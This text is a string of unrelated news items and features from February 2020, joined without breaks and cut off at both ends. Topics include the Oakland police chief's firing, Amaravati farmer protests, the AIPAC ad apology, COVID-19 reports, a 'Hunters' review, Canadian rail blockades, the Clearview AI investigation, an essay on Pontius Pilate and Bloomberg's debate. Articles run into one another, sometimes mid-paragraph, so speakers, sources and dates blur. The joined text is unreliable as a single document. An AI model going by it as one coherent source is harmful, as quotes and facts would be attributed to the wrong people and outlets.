Jewish Creativity. The exhibit has also been generously supported by the Jewish Community Foundation of Los Angeles. Other support for the project comes from Steven Spielbergs Righteous Persons Foundation and the Ziering Family Foundation. Additional details on this program, can be found at https://www.holocaustedu.org/event/vedem-underground. OAKLAND (BCN) Oakland Police Chief Anne Kirkpatrick on Thursday night was fired from her job, according to the mayor and the Oakland Police Commission. Kirkpatrick was terminated without cause by the Oakland Police Commission and Mayor Libby Schaaf during a special closed session meeting at City Hall. Darren Allison will step in as acting chief until an interim chief is appointed. The commission's decision was unanimous and Schaaf joined them on that decision, which was allowed by voter approval of Measure LL in 2016, which allows the mayor and commission to jointly dismiss the chief without cause. Schaaf said the trust between the commission and the chief was "irrevocably broken" and keeping the chief in her job would prevent the city from moving forward. "We did not take this lightly," Regina Jackson, chair of the Police Commission, said at a news conference after the commission meeting. In a statement, Jackson said, "Since the Commission's inception, the Commissioners, along with the rest of the citizens of the City of Oakland, observed the Oakland Police Department's failure to increase compliance with court-ordered reforms." Jackson said the Commission looks forward to working with the mayor to find a chief who "will build trust in the community and address racial and gender disparities that continue to exist in the Department and in our City." The new chief must address use-of-force issues and make changes so that a court-appointed monitor is no longer needed, Jackson said. Officers with the Oakland Police Officers' Association said that the job as Oakland police chief is the most difficult chief's job in the nation. The association's President Barry Donelan said in a statement that Kirkpatrick was making progress "bringing stability to OPD." But, he said "fighting for Oakland's residents and Police Officers alike does not engender you to Oakland's unelected Police Commissioners and our Mayor." Donelan said officers are disappointed that Kirkpatrick was fired but they are ready to work with her replacement. Schaaf said she'll be searching nationwide for a new chief. Kirkpatrick joined the Police Department as chief in 2017. Copyright 2020 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited. Weve been working on keeping it a liberated space, Ms. Okpokwasili said. How to make the guests understand that theyre always free to go? You stay as long as you want to stay, and maybe a little longer because something unexpected could happen. What could that be? Giggle fits, screaming, weeping, boredom, cramps, communion. Its whatever needs to happen, and sometimes you know when its landed, she said. But then I have to critique that, because its about falling in and out of it, its about making and unmaking. If it happened the same way all the time, I would be concerned. The key is to help guests grasp the potential of bringing something into the space. What does it do to somebody to hear a lyric from their conversation get picked up by the others? she asked. What does it feel like for that to come back to you? I know what it does to me to pay that kind of attention, and to have that attention be paid, she said. I dont know what it will do to other people, but I want to make the space to see. The police in Andhra Pradeshs Guntur district on Thursday registered cases against as many as 426 farmers from Amaravati, the capital region of Andhra Pradesh, who allegedly prevented the district revenue officials from conducting a survey of lands for distribution of house sites for the landless poor. A police official from Mangalagiri (rural) police station said the farmers were booked on a complaint that they had prevented the officials from discharging their duties at Krishnayapalem village, one of the 29 villages falling under Amaravati capital region. The farmers, who had been agitating for the last 65 days against proposed shifting of the administrative capital from Amaravati to Visakhapatnam, turned furious when the revenue officials came to Krishnayapalem on Wednesday to identify the lands to be distributed among the landless for house sites. The farmers shouted at the officials and blocked their entry into the village, forcing the officials to beat a retreat. The farmers argued how the state government, which had acquired their lands under land pooling system for construction of capital city, would distribute the lands for weaker sections housing programme. We had given the lands for the construction of the capital city, not for allotment of house sites for weaker sections. We were allotted plots in return and we were hoping that the value of plots would go up once the capital comes up here. Now, if the lands are given for house sites for the poor, what will happen to our plots? K Anil, a farmer from Krishnayapalem said. A woman farmer said they were not afraid of facing cases and would continue their agitation till the government took back its decision to create three capitals in the name of decentralization of administration. Telugu Desam Party president and leader of the opposition in the Assembly N Chandrababu Naidu strongly condemned the cases against the farmers. He said the government should acquire lands for distribution of house sites to the poor but should not disturb the lands earmarked for capital. Meanwhile, ruling YSR Congress Party MLA and AP industrial infrastructure corporation chairperson R K Roja faced protests in Amaravati when she went there to participate in a meeting at SRM University at Inovolu. Women staged a dharna outside the university entrance raising slogans against three capitals plan. With the women surrounding her car, police moved her out of the place in a vehicle belonging to the university. Another group of farmers obstructed her vehicle at Pedaparimi village. Police pushed the protesters away and escorted Roja out of the place. SHARE THIS ARTICLE ON (JNS)AIPAC apologized for and removed at least four ads it sponsored on Facebook that slammed radicals in the Democratic Party. We offer our unequivocal apology to the overwhelming majority of Democrats in Congress who are rightfully offended by the inaccurate assertion that the poorly worded, inflammatory advertisement implied, said AIPAC in a statement that it shared on Twitter on Saturday. We deeply appreciate the broad and reliable support that Democrats in Congress have consistently demonstrated for Israel. The bipartisan consensus that Democrats and Republicans have established on this issue forms the foundation of the US-Israel relationship, read the statement. The ad, which is no longer running, alluded to a genuine concern of many pro-Israel Democrats about a small but growing group, in and out of Congress, that is deliberately working to erode the bipartisan consensus on this issue and undermine the US-Israel relationship. We regret that the ads imprecise wording distorted our message and offended many who are deeply committed to this cause. We look forward to continuing our work with friends in Congress to strengthen the US-Israel relationship and oppose any efforts to undermine its deep, bipartisan support. An AIPAC spokesperson told the Jewish Telegraphic Agency that the apology also applied to three other Facebook ads. One of the ads read, The radicals in the Democratic Party are pushing their anti-Semitic and anti-Israel policies down the throats of the American people. American should never abandon its only Democratic ally in the Middle East. Sign the letter to Democrats in Congressdont abandon Israel! The apology was in response to a tweet by Eli Clifton of the Quincy Institute, which has been accused of anti-Semitism, who tweeted a picture of an AIPAC ad featuring that text attached to a picture of a girl wrapped in an American flag hugging a girl wrapped in an Israeli flag. The same text was used in another ad and was attached to a collage featuring Reps. Ilhan Omar (D-Minn.), Rashida Tlaib (D-Mich.) and Betty McCollum (D-Minn.). Omar and Tlaib support the anti-Israel BDS movement, while McCollum has accused Israel of being an apartheid state and introduced a bill in November 2017 that would have mandated the U.S. government to certify that its military funding to Israel is not used for Israeli militarys ongoing detention and mistreatment of Palestinian children. The three congresswomen voted against a resolution in July condemning BDS. A 74-year-old female was admitted to Punes Naidu hospital on Friday evening after she showed symptoms of A possible Covid-19 (coronavirus) post her return from Vietnam, one of the countries with confirmed cases. The woman arrived in India on February 11. As per the information from the state health department, all 77 people kept in isolation wards in Maharashtra for suspected exposure to the novel coronavirus since January 18 this year have tested negative, and 73 of them have been discharged. Till February 21, 44,517 travellers have been screened at the Mumbai International Airport. Field surveillance is also actively going on all across the state in search of people coming from the Corona affected areas. As per reports of the National Institute of Virology, Pune, Till today all 77 samples sent by the state have been found negative. Hunters is a series that feels like its finding its way, as it explores explosive territory with a tone that lurches from darkly comic to grimly violent. The new Amazon original has already stirred conversation, with critics comparing its style to 70s-style exploitation films, while its subject matter Nazis plotting a takeover of America has been a source of controversy. Created by David Weil, who was inspired by stories told by his Holocaust survivor grandmother, Hunters is at times exciting, and at other times, miles over the top in its apparent relish for sadism. Set in 1977, Hunters stars Logan Lerman as Jonah Heidelbaum, a young New Yorker who, when we meet him, is selling drugs, and spending time talking about Star Wars and superheroes with his equally aimless buddies. Jonah lives with his beloved grandmother (played by Jeannie Berlin). But when shes killed, he goes into a tailspin, frustrated by the New York cops seeming lack of interest in finding the killer, who Jonah insists was someone that his grandmother knew. Though Amazon has a long list of plot elements critics arent supposed to reveal, we can say this: While at his grandmothers shiva, Jonah meets Meyer Offerman (Al Pacino), a Holocaust survivor who possesses a fortune, a sometimes cartoonish accent, and interests he at first keeps to himself. By the time the 90-minute first episode is over, Jonah, and we, learn that Offerman is the mastermind behind a team thats going after Nazis who fled Germany and are living undercover in the U.S., working toward the rise of a Fourth Reich. The hunters are an eclectic group, who resemble nothing so much as an unlikely team of superhero avengers. Thats hardly accidental. As Weil said during a discussion of Hunters at the Television Critics Association winter press tour, his own grandmothers stories felt to him, as a young boy, like the stuff of comic books and superheroes. As he grew older, Weil recalled, I struggled with that feeling of birthright. What was my responsibility to continue her story?, especially as so few Holocaust survivors are left. For me, this was a love letter to my grandmother, Weil continued. It was a quest to don that vigilante cape in the face of rising antisemitism in the world, racism, xenophobia. Logan Lerman and Jeannie Berlin in "Hunters." (Photo: Amazon)Christopher Saunders/Amazon Hunters at times indeed blazes with righteous indignation and fiery effects. But its Nazi characters are such venomous villains that it makes it seem like Nazism thrived because of some bad people -- not because many citizens stood by as a system built on hate, scapegoating and murder was allowed to take hold. For all its flaws, Hunters boasts excellent performances. Lerman is charismatic as the young hero, and Pacino overripe accent aside is surprisingly subtle and effective as Hoffman. The rest of the cast, including Josh Radnor, Kate Mulvany, Tiffany Boone, Carol Kane, Saul Rubinek, Louis Ozawa, and Jerrika Hinton (of the Portland-set HBO series, Here and Now), as an FBI agent, are equally watchable. Hunters streams its 10 episodes on Amazon Prime Video beginning Friday, Feb. 21. -- Kristi Turnquist kturnquist@oregonian.com 503-221-8227 @Kristiturnquist Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories. Henry Nana Boakye, National Youth Organiser of the ruling New Patriotic Party (NPP) says the Minority's walk out on Thursday during the President's SoNA presentation was by Gods divine intervention. The NDC MPs immediately after the National Anthem was sung in Parliament during President Akufo-Addo's 4th State of the Nation Address (SONA), walked out repeating a line in the anthem: "and help us to resist oppressors rule with all our will and might forevermore". Speaking to this during a panel discussion on Peace FM's morning show Kokrokoo, Nana B said "God wanted Ghanaians to hear what the President wanted to say without any noise and that was why he made the minority walk out. Listen to him in the video below Source: Peacefmonline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Boosie Badazz has claimed he was denied entry to a Planet Fitness gym because of transphobic comments he made about Dwyane Wades daughter. Earlier this week, the rapper faced heavy criticism after he condemned Wades decision to support his 12-year-old daughter Zayas transition, after she came out as transgender. On Thursday, Boosie revealed in an Instagram video, that shows him pulling out of the parking lot of a Georgia Planet Fitness, that he was turned away from his gym because of his comments regarding "gender". The Louisiana-born rapper captioned the video: Manager who was gay refused to let me in Planet Fitness because of my past actions on social media about gender etc, before accusing the gym of having roaches and cold water in its showers. In the video, Boosie tells his 6.9m followers: Do not go to Planet Fitness. They racist, they haters. They just put me out Planet Fitness for what I said about Dwyane Wade son, misgendering Zaya. Recommended Dwyane Wade reveals daughter has known she is trans since age of three Boosie then adds that the gym also referenced another of his videos, in which he reportedly referred to one of the employees with a homophobic slur, in its decision to ask him to leave. In a statement to People, Planet Fitness confirmed that Boosie was asked to leave after refusing to comply with gym policies and harassing staff. Planet Fitness does not tolerate harassment or discrimination of any kind, spokesperson McCall Gosselin said. In this instance, a guest was asked to leave after refusing to comply with gym policies and harassing club staff. We are the home of the Judgement Free Zone and as such, we have policies in place to ensure that we maintain a non-intimidating, welcoming environment for all of our members where everyone feels accepted. This week, Wade revealed during an interview with Good Morning America that Zaya, born Zion, knew that she was transgender from an early age. Shes known it for nine years, Wade told GMA co-anchor Robin Roberts. Shes known since she was three years old. London's first Trans pride Show all 32 1 /32 London's first Trans pride London's first Trans pride Angela Christofilou/The Independent London's first Trans pride Angela Christofilou/The Independent London's first Trans pride Angela Christofilou/The Independent London's first Trans pride Angela Christofilou/The Independent London's first Trans pride Angela Christofilou/The Independent London's first Trans pride Angela Christofilou/The Independent London's first Trans pride Angela Christofilou/The Independent London's first Trans pride Angela Christofilou/The Independent London's first Trans pride Angela Christofilou/The Independent London's first Trans pride Angela Christofilou/The Independent London's first Trans pride Angela Christofilou London's first Trans pride Angela Christofilou/The Independent London's first Trans pride Angela Christofilou/The Independent London's first Trans pride Angela Christofilou/The Independent London's first Trans pride Angela Christofilou/The Independent London's first Trans pride Angela Christofilou/The Independent London's first Trans pride Angela Christofilou/The Independent London's first Trans pride Angela Christofilou/The Independent London's first Trans pride Angela Christofilou/The Independent London's first Trans pride Angela Christofilou/The Independent London's first Trans pride Angela Christofilou/The Independent London's first Trans pride Londons first Trans Pride in September Angela Christofilou/The Independent London's first Trans pride Angela Christofilou/The Independent London's first Trans pride Angela Christofilou/The Independent London's first Trans pride Angela Christofilou/The Independent London's first Trans pride Angela Christofilou/The Independent London's first Trans pride Angela Christofilou/The Independent London's first Trans pride Angela Christofilou/The Independent London's first Trans pride Angela Christofilou/The Independent London's first Trans pride Angela Christofilou/The Independent London's first Trans pride Angela Christofilou/The Independent London's first Trans pride Angela Christofilou/The Independent During the interview, Wade also opened up about what his daughters transition meant for him. "I knew early on that I had to ask myself questions, he recalled. Ive been a person in a locker room that has been a part of the conversation that has said the wrong phrases and the wrong words myself. The Independent has contacted Planet Fitness for comment. The World Health Organization said it is encouraged by the apparent decline in the number of cases of the deadly coronavirus disease in China, but warned against complacency as the downward trend could change. There is still time to stop the novel coronavirus from spreading widely around the world, said WHO chief Tedros Adhanom Ghebreyesus. "WHO is doing everything we can to seize that window of opportunity, and we urge the international community to do the same," he said. "As I have said before, let us not squander the window of opportunity we have." China has reported 74,675 cases to the WHO, including 2,121 deaths, but the number of cases and deaths from the disease outside China is relatively small. The latest reports put that number at 176 countries, including 7 deaths in 26 countries. In the past day, Iran has reported its first five cases and two deaths. Photo: Rob Bixby/Flickr Missed the most recent top news in Jacksonville? Read on for everything you need to know. Celebration of life for former Jacksonville Mayor Godbold held Thursday Godbold is credited with programs, projects and policies that transformed Jacksonville into the city it is today. Read the full story on FIRST COAST NEWS. Jax Fish Fry brings fish and chips and more to Swamp If you're after fish and chips, look no further than this new business. Called Jax Fish Fry, the newcomer is located at 8380 Baymeadows Road in Swamp. Read the full story on Graham Media: WJXT News 4 JAX. Father of man shot at Jacksonville hotel: Every time I close my eyes, I think about him A father says hes heartbroken and demanding answers after his son was found shot to death in a hotel room on Jacksonvilles Southside. Read the full story on Graham Media: WJXT News 4 JAX. Jacksonville police investigate bank robbery in Mandarin Jacksonville police are investigating a bank robbery Thursday on San Jose Boulevard at Loretto Road. Read the full story on Graham Media: WJXT News 4 JAX. Recognize these two? Jacksonville Beach police say they stole a covered trailer, seeking their identities The Jacksonville Beach Police Department is asking for help identifying two people who reportedly stole a covered trailer in Jacksonville Beach. Read the full story on FIRST COAST NEWS. This story was created automatically using data about news stories on social media from CrowdTangle, then reviewed by an editor. Click here for more about what we're doing. Got thoughts? Go here to share your feedback. [February 21, 2020] Announcement - Commissioners launch joint investigation into Clearview AI amid growing concerns over use of facial recognition technology GATINEAU, QC, Feb. 21, 2020 /CNW/ - The privacy protection authorities for Canada, Quebec, British Columbia and Alberta announced today they will jointly investigate Clearview AI and its use of facial recognition technology. The investigation will be undertaken by: Media reports have stated that Clearview AI is using its technology to collect images and make facial recognition available to law enforcement for the purposes of identifying individuals. The company has also claimed to be providing its services to financial institutions. The four privacy regulators will examine whether the organization's practices are in compliance with Canadian privacy legislation. Privacy regulators in every province and territory have also agreed to work together to develop guidance for organizations including law enforcement on the use of biometric technology, including facial recognition. As this is an active investigation, no additional details are available at this time. SOURCE Office of the Privacy Commissioner of Canada Here is the latest news on protests across Canada over a natural gas pipeline project in British Columbia (All times Eastern): Hey there, time traveller! This article was published 21/2/2020 (690 days ago), so information in it may no longer be current. Wet'suwet'en hereditary chiefs are welcomed by members of the Mohawk People's Council before entering the Mohawk Community Centre for a meeting on Thursday Feb. 20, 2020, in Tyendinaga Mohawk Territory near Belleville, Ont., on Friday, Feb. 21, 2020, in the midst of a blockade on a nearby rail line in solidarity with Wet'suwet'en hereditary chiefs opposed to the Coastal GasLink pipeline in northern British Columbia. THE CANADIAN PRESS/Justin Tang Here is the latest news on protests across Canada over a natural gas pipeline project in British Columbia (All times Eastern): 22:45 Protesters have left a site south of Montreal where they had been blockading railway tracks since Wednesday. The end of the blockade follows the arrival this afternoon of riot police dispatched to enforce an injunction ordering protesters off Canadian National Railway tracks in St-Lambert, Que. Earlier in the evening, the roughly two dozen protesters had begun dismantling their encampment, taking down tents and hauling their supplies to the edge of a security perimeter established by municipal police. A spokesman for the protesters, who had been blocking the rail line in a show of solidarity with Wet'suwet'en hereditary chiefs in British Columbia, vowed that other blockades would appear. --- 22:20 Protesters at a rail blockade south of Montreal began dismantling their encampment Friday night after a contingent of riot police officers arrived to enforce a court injunction. They took downs tents and carried items such as sleeping bags, pots, propane tanks and a wood stove to the edge of a security perimeter established earlier in the day by Longueuil municipal police. The protesters, who since Wednesday have been blocking the rail line in a show of solidarity with Wet'suwet'en hereditary chiefs in British Columbia, said they planned to make a declaration later Friday. Their appeal for supporters to demonstrate near the blockade site in St-Lambert, Que., drew more than 50 people. 17:20 Via Rail says full weekday service between Montreal and Ottawa will resume Monday. Earlier this week, the company announced temporary layoffs for 1,000 employees as its Montreal-Toronto, Ottawa-Toronto and Montreal-Quebec City routes remained suspended indefinitely. The company says 691 trains have been cancelled because of the nationwide blockades in support of the Wet'suwet'en hereditary chiefs, who oppose a natural gas pipeline in B.C. Via says more than 123,000 passengers have been affected. 17:03 Saskatchewan Premier Scott Moe says he's thankful for prime minister's words that the barricades must come down. Moe says Justin Trudeau has strengthened his resolve when it comes to handling the rail blockades, which was the subject of a call between premiers and the prime minister yesterday. He says much of what was discussed with Trudeau was reflected in the Trudeau's latest announcement. Moe says protesters blocking rail tracks have the chance to remove barricades on their own and take up the federal government's offer to talk. However police decide to act will be left up to law enforcement, says Moe, adding that governments expect the law to be enforced. 17:00 The Canadian Chamber of Commerce says its members will be reaching out to federal, provincial and municipal politicians over the weekend to underscore the economic damage that is being caused by the ongoing rail disruptions. In a statement today, Chamber president Perrin Beatty says there is growing concern from local chambers about the effect the blockades are having on businesses. Beatty says there are also concerns that supplies such as grain for livestock, oxygen for hospitals and propane for heat are running out. 16:42 A hereditary chief is promising that his people will enter into negotiations with the federal and B.C. governments after all RCMP officers leave Wet'suwet'en territory and work on the Coastal GasLink pipeline is halted. The commitment by Chief Woos of the Grizzly House came during a news conference with leaders from the Tyendinaga Mohawk Territory, east of Belleville, Ont., where blockades have disrupted rail traffic throughout much of Eastern Canada for more than a week. The federal government had earlier said the RCMP had met the Wet'suwet'en's conditions, but Woos says the RCMP has increased their activities. Tyendinaga Mohawk Kanenhariyo say the blockade erected by his people would only come down once the RCMP were off Wet'suwet'en land. Woos also took issue with Prime Minister Justin Trudeau's comments that the blockades were causing an inconvenience to Canada, suggesting the Wet'suwet'en are facing injustice. 16:30 The Manitoba Metis Federation criticized blockades that have sprung up across the country, saying the protests are hurting people and run contrary to the wishes of elected leaders in the Wet'suwet'en territory. Federation president David Chartrand says the barricades could result in lost lives or sick people not getting the treatment they require. He says if that happens, it will be on the protesters' shoulders. 16:15 Moody's Investors Service says if the rail blockades that have spread across the nation are allowed to continue, they would increasingly weigh on Canada's economic activity. The services had forecast GDP growth in Canada for this year to be 1.5 per cent. It says in a statement that it expects the protests to be transitory, followed by a quick rebound in commercial activity once the problem is solved, resulting in limited economic effect over the year. Moody's says the blockades, in support of Wet'suwet'in hereditary chiefs' opposition to a natural gas pipeline, have left products stranded on rails and in ports across the country. 14:25 Manitoba Premier Brian Pallister says there is extreme frustration among some provincial leaders that the nationwide blockades have been allowed to go on. He says no one wants to escalate tensions with supporters of the Wet'suwet'en hereditary chiefs, but the federal government must make it clear that it is not ignoring the well-being of the general population to avoid angering people at the blockades. He says it's in no one's interest to simply stand back while laws are being broken. 14:15 Prime Minister Justin Trudeau says after two weeks, the barricades on rail lines and other major transportation routes have to come down. Speaking in Ottawa, he says the situation is unacceptable and untenable, with goods not moving and workers being laid off. 14:55 Alberta Premier Jason Kenney says he made it clear to the prime minister on conference calls with the other premiers last night that the blockades are having devastating effects on people across the country. He says it is scaring away investment and giving the impression that Canada can't operate as a modern democratic country. Kenney says the prime minister told the premiers that the government's "patience is wearing thin" and that he believes that action is required "within hours and not days." He says Trudeau said the government is continuing to reach out to some of the protesters. 14:15 B.C. Premier John Horgan says his government continues to be ready to engage in talks with Wet'suwet'en hereditary chiefs who oppose a natural gas pipeline in his province. He acknowledges it's a "challenge" to have a dialogue with chiefs who have refused to meet with federal or provincial cabinet ministers unless the RCMP and pipeline builder Coastal GasLink withdraw entirely from their traditional territories. But Horgan says more people from the community, other than the hereditary chiefs, have begun to speak out, including the matriarchs who have historically been the keepers of the traditional practices of the Wet'suwet'en people. The premier says he expects Na'moks, a hereditary chief who also goes by John Ridsdale, will be hearing from people in the community about his refusal to meet with the province, because that's "not how you have respectful dialogue with your neighbours." He says he believes the vast majority of northern B.C. residents and Wet'suwet'en people want to find a way forward and his government remains "at the ready" to help reach that outcome. Horgan also says he hopes the federal government can achieve a peaceful resolution to a blockade in eastern Ontario through dialogue with Tyendinaga Mohawk protesters. And he says he's confident that Ottawa is "seized" with the issue, noting he's had regular contact with Prime Minister Justin Trudeau and Deputy Prime Minister Chrystia Freeland. 12:45 The Southern Chiefs Organization of Manitoba is warning of more blockades in the wake of the Wet'suwet'en land-use and sovereignty dispute in British Columbia. Grand Chief Jerry Daniels told a news conference in Winnipeg today that his organization plans to block border and provincial boundary crossings for two hours on March 20. He says the affected locations include the Emerson border crossing to North Dakota, Highway 1 on the Ontario and Saskatchewan boundaries. Daniels says the March 20th date has been selected to specifically target weekend travel. The Southern Chiefs Organization website says it represents 34 Chiefs of Anishinaabe and Dakota First Nations in Manitoba. 12:00 Southern Chiefs Organization Grand Chief Jerry Daniels says in light of recent discussions about Wet'suwet'en sovereignty in northwestern British Columbia, his Manitoba organization has a stern reminder about the rights of First Nations involved in trade and economic discussions with Canada. Daniels says issues such as those between the Wet'suweten, Coastal GasLink and the B.C. government will not end until Canadians understand that even though Indigenous people are the original land owners, they have been relegated to society's margins since Confederation. The organization says Aboriginal people agreed to share their territories as a show of "deep respect" for settlers. Daniels says he is now calling on the Canadian and Manitoba governments to end a blockade that has existed for 150 years on Indigenous economies, excluding First Nations from opportunities in sectors ranging from finance to international trade and commerce. 10:13 Police south of Montreal are patrolling an ongoing blockade along Canadian National Railway tracks in St-Lambert, but there is no sign demonstrators are ready to move. About two dozen people have remained at the blockade since an injunction was delivered Thursday. Quebec Premier Francois Legault says it will be up to police to enforce the injunction but he hopes they will act "rapidly." The blockade has interrupted rail service for commuters around suburban Montreal and for Via Rail travellers between Montreal and Quebec City. 10:01 A meeting is underway in Ottawa this morning as Prime Minister Justin Trudeau speaks with his incident response group. The group is considering several issues, including ongoing blockades by supporters of Wet'suwet'en hereditary chiefs opposed to construction of a natural gas pipeline through their traditional territory in northwestern B.C. Trudeau is expected to hold a news conference this afternoon to offer an update on the team's discussions. He's promising to provide a full account of his government's work to clear blockades that have been set up since the RCMP forced the Wet'suwet'en hereditary chiefs and supporters from a road to a Coastal GasLink worksite. This report by The Canadian Press was first published Feb. 21, 2020. Libya: Erdogan confirms presence of Syrian rebels 'Haftar illegitimate, dialogue only with Sarraj' (ANSAmed) - ISTANBUL, FEBRUARY 21 - Turkish President Recep Tayyip Erdogan confirmed for the first time the presence of pro-Turkish Syrian militants in Libya to support the forces of the government of Fayez al-Sarraj. "On the ground there are elements of the Syrian National Army," Erdogan said. He told journalists that Haftar and his supporters "want us to leave", but "why don't they talk about the Russian security company" supporting Haftar "with 2,500 men?". "Haftar doesn't have legitimacy. For us he is not an interlocutor. He's a legionary. The legitimate leader in Libya is Sarraj. With Libya we have 500 years of brotherhood, we received a request from them, we made a security accord for training soldiers and we went there," Erdogan said, telling journalists about the new face-to-face meeting in Istanbul on Thursday evening with Prime Minister of the Libyan Government of National Accord (GNA) Fayez al-Sarraj.(ANSAmed). Pontius Pilate disappears from the Gospels, it seems, as soon as he appears. Yet, this Roman man plays such an important role in the crucifixion, that hes included in the Apostles Creed. The Apostles' Creed is arguably one of the most important summaries of Jesus, what he did on earth, and other important doctrines and beliefs central to the Christian faith. Those who have read about Pilate in the Gospel accounts may know of him as a man who saw Jesus was guiltless, but let his fear of the crowds seize him. He gave into cowardice and allowed for Jesus to be killed. We can read about the account of Pilate in Matthew 27 and John 18:28-40. But why did Pilate give into the crowd so easily? How could he let a guiltless man die a horrible death? And why did the church include him in the Creed? Well dive into these questions and more below. Who Was Pontius Pilate? Pontius Pilate was a Roman prefect (or governor) over Judea in the early first century (about 26-36 AD). Pilate apparently found an way into such a high position through a referral from one of Emperor Tiberius favorite administrators, a man named Sejanus, according to Encyclopedia Britannica. Despite landing a prominent position, Pilate caused havoc for his position early on. Having insulted the religion of the Jews and running an administration full of corruption, violence, robberies, ill treatment of the people, Pilate had fallen out of favor with Emperor Tiberius. When Sejanus, the administrator who found him the position, disappeared from the picture having killed Tiberius son and conspired to take out the Emperor himself Pilate fell under further scrutiny from the Emperor. Every one of his moves had to be watched. After all, if a man who recommended Pilate ended up trying to kill the Emperor in the first place, any man Sejanus trusted had to be regarded with suspicion. Now, in a precarious balance of his own fate and actions, Pilate finds himself encountering a Jewish man of whom he can find no fault. And yet, the crowds demand they crucify him. And worse, if he refuses to give into to their demands, theyll alert Caesar (John 19:12). Pilate tries to release Jesus, presents another prisoner named Barabbas to try to take Jesus place, and even gives Jesus a severe beating to appease the crowd. But they make their position clear. Either you kill Jesus, or you are no friend of Caesars. Pilate gives in and allows them to crucify Jesus, washing his hands of any blood that would be spilled. Why Did Pontius Pilate Crucify Jesus? Although Pilate arguably had a great deal of power, why would he send a guilty man to his death? Even though he appears to ignore his conscience, wouldnt the act of doing so hound him nearly to death, knowing he condemned a sinless man to die? We have to keep in mind several reasons why Pontius Pilate gave in to the crowd. First, and most obvious with the information presented above, Pilate was in awful standing with Caesar. One more mistake and he could lose his position, or very possibly, his life. And the Jews deemed siding with Jesus a big mistake. Fearing for his life and social standing, Pilate relented to the crowd. Second, well often notice proponents against Christianity will claim that Scripture isnt reliable and that Jesus may not have even existed. Or, they say, if he did he was more of an ordinary man, since we dont see a plethora of documents from Roman writers about his life. See Lee Strobels The Case for Christ, for a more in-depth analysis on this. In reality, Jesus ministry with a few exceptions, such as the woman at the well was strictly for the Jewish community. Although some Roman writers, such as Pliny and Tacitus, did mention Jesus, the Messiahs ministry on earth was geared toward an Israelite audience. Romans didnt really care about Jewish affairs. Unlike many other zealots of the day, Jesus radical ministry did not really affect the Romans all that much. He was compliant with their tax laws, and as far as they could tell, a model citizen (Mark 12:17). Therefore, Jesus would not have been on the Ancient Roman radar. Furthermore, Romans didnt really concern themselves in the affairs of the Jews, unless they were leading a revolt or uprising against Rome. Jesus made it clear he was not here to abolish Rome. And, Romans considered those with Roman citizenship as people of greater importance than those without. Jesus was not a Roman citizen. Although Pilate recognized he was guiltless, he didnt intend to put his job and his life on the line for a non-Roman citizen. Third, and finally, as Billy Graham explains in this article, Pilate was morally weak. Although he knew Jesus should not have been condemned to die, he ignored his conscience and gave into peer pressure from the crowd. Why Is Pontius Pilate Included in the Creed? Pilate even washes his hands of the crime, literally (Matthew 27:24). Didnt the Jews technically condemn Jesus to death? Then why does the Creed say Jesus was, crucified by Pontius Pilate? In the passage found in Matthew 27, Pilate has a chance to set Jesus free but chooses not to. Because he doesnt step in even though he washes his hands of the sentence he still plays a part in the execution. Furthermore, crucifixions were Roman punishments. The Jewish people killed people via stoning (Acts 7:54-60). Jesus would have therefore died a death via Roman means and had to be sentenced by a Roman in order for this to be carried out. Whats more, Don Stewart explains here that it was a Roman form of execution reserved only for those of the lowest social rank, for criminals, and for rebels. We see the Jews even attempting to stone Jesus in the Gospels when he proclaims his divinity (John 10:30-33). Jews may have taken Jesus to the Roman authorities, as Stewart suggests above, because those crucified were considered cursed. This would oust any idea that Jesus was the Messiah, since it would have been a baffling idea for a Messiah to be cursed. Because it was a Roman form of punishment, and because Pilate held up his hands and let the crowd do as they pleased, Jesus was taken to be executed by him. Why Does This Matter? Why does it matter that we know who Pilate was and what role he played in Jesus crucifixion? First, from Pilate we can learn what not to do when we feel a stirring in our conscience. Pilate attests several times that he sees no guilt in Jesus, and yet, he still gives in to the mob stationed outside. Second, by learning the history of Pilate and his falling out with Caesar, we can better understand why he wouldnt want to take a chance on a Jewish man. After all, Jesus was not a formidable Roman citizen, and sparing him would lead to more trouble with Caesar and likely a lost job or a lost life. And finally, we can see that both Jews and Gentiles had a hand in the death of Christ. Even though Pilate washed his hands of the deed, because he stood passive, he was part of the problem. Photo credit: Wikimedia Commons/Public Domain Image/Antonio Ciseri Hope Bolinger is a multi-published novelist and a graduate of Taylor University's professional writing program. More than 1,200 of her works have been featured in various publications ranging from Writer's Digest to Keys for Kids. She has worked for various publishing companies, magazines, newspapers, and literary agencies and has edited the work of authors such as Jerry B. Jenkins and Michelle Medlock Adams. Her modern-day Daniel trilogy is out with IlluminateYA. She is also the co-author of the Dear Hero duology, which was published by INtense Publications. And her inspirational adult romance Picture Imperfect releases in November of 2021. Find out more about her at her website. New York billionaire Mike Bloomberg has appeared on the presidential campaign trail for the first time alongside his Democratic rivals. The former Republican had a rocky debate debut alongside five other presidential candidates in Las Vegas, writes Ian Woods: Poor Mike Bloomberg. That's not a word normally associated with the 12th wealthiest person on the planet. But not only did his first debate performance fail to match the slickness of his many campaign ads, he also got quite a kicking from his rivals. The ganging up was predictable. And maybe his lacklustre debate performance should have been expected too ; after all, the other Democrats have honed their arguments over many months. But how much sympathy can one have for a man who skipped the slog of attending endless events, meeting voters in Iowa and New Hampshire, in favour of a late entry in the race via a blitz of expensive advertising? His presence intensified the debate, but often at his expense. Answers he would have prepared were not well delivered. :: Listen to Divided States on Apple podcasts , Google Podcasts , Spotify , and Spreaker Las Vegas is a city built for gamblers. The latest Democratic debate was staged here because Nevada is the third state to go to the polls on Saturday. Mr Bloomberg won't even be on the ballot because he left it so late to join the race. That means we won't have any accurate measure of the former New York mayor's performance. His campaign should be relieved, because he did nothing on stage to justify his boast that he is the strongest candidate to take on Donald Trump. "Mini Mike" as Mr Trump refers to him didn't use a box to stand on, as the president had cheekily predicted. If he had, the blows he took from Elizabeth Warren may have sent him sprawling. Senator Warren, in danger of spiralling out of the race, came armed with a few zingers about Mr Bloomberg's wealth and some of his past comments about women. Story continues She compared him to Mr Trump, and challenged him to free former female employees from their non-disclosure agreements so they can talk about why they left his company. He rolled his eyes. That wasn't a good look. Her performance was so strong that her campaign claimed that there was surge of donations throughout the debate. She will need it. Bernie Sanders put in another strong performance, befitting his new status as the front runner. And Pete Buttigieg 